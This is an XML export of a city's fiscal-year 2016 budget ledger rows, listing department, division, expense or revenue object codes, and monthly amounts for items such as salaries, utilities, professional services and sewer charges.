<row _id="18260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>208</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>208</total></row>
<row _id="18262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401460.0</object><object_description>POLICE SERV-FINGERPRINTING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-35991</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-35991</total></row>
<row _id="18263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>588000.0</object><object_description>CAPITAL OUTLAY</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4342</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4342</total></row>
<row _id="18264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>73987</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>73987</total></row>
<row _id="18265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37500</total></row>
<row _id="18266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>51527</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51527</total></row>
<row _id="18267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>242411</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>242411</total></row>
<row _id="18268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2804</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2804</total></row>
<row _id="18269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8385</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8385</total></row>
<row _id="18270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4361</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4361</total></row>
<row _id="18271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2550</total></row>
<row _id="18272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>400370.0</object><object_description>RESIDENTIAL BLDG REPORT</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200000</total></row>
<row _id="18273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13825</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13825</total></row>
<row _id="18274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20052</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20052</total></row>
<row _id="18275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>425673</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>425673</total></row>
<row _id="18276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1038</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1038</total></row>
<row _id="18277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>640135</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>640135</total></row>
<row _id="18278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1042623</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1042623</total></row>
<row _id="18279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12604</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12604</total></row>
<row _id="18280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1454</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1454</total></row>
<row _id="18281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1180</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1180</total></row>
<row _id="18282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>566730.0</object><object_description>REC / PARKS COMMISSION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2890</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2890</total></row>
<row _id="18283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2962900</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2962900</total></row>
<row _id="18284"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>401650.0</object><object_description>SEWER SERVICE CHARGES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-15023378</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-15023378</total></row>
<row _id="18285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="18286"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>446</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>446</total></row>
<row _id="18287"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8160</total></row>
<row _id="18288"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2438</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2438</total></row>
<row _id="18289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>40496</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>40496</total></row>
<row _id="18290"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18291"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18292"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>544080.0</object><object_description>LICENSE TAGS / STICKERS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18293"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6212</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6212</total></row>
<row _id="18294"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>557354</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>557354</total></row>
<row _id="18295"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7800</total></row>
<row _id="18296"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15297</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15297</total></row>
<row _id="18297"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10500</total></row>
<row _id="18298"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>511</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>511</total></row>
<row _id="18299"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5673</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5673</total></row>
<row _id="18300"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>831</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>831</total></row>
<row _id="18301"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2284</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2284</total></row>
<row _id="18302"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>83069</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>83069</total></row>
<row _id="18303"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>700</total></row>
<row _id="18304"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16645</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16645</total></row>
<row _id="18305"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8945</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8945</total></row>
<row _id="18306"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>415</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>415</total></row>
<row _id="18307"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3926</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3926</total></row>
<row _id="18308"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14018</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14018</total></row>
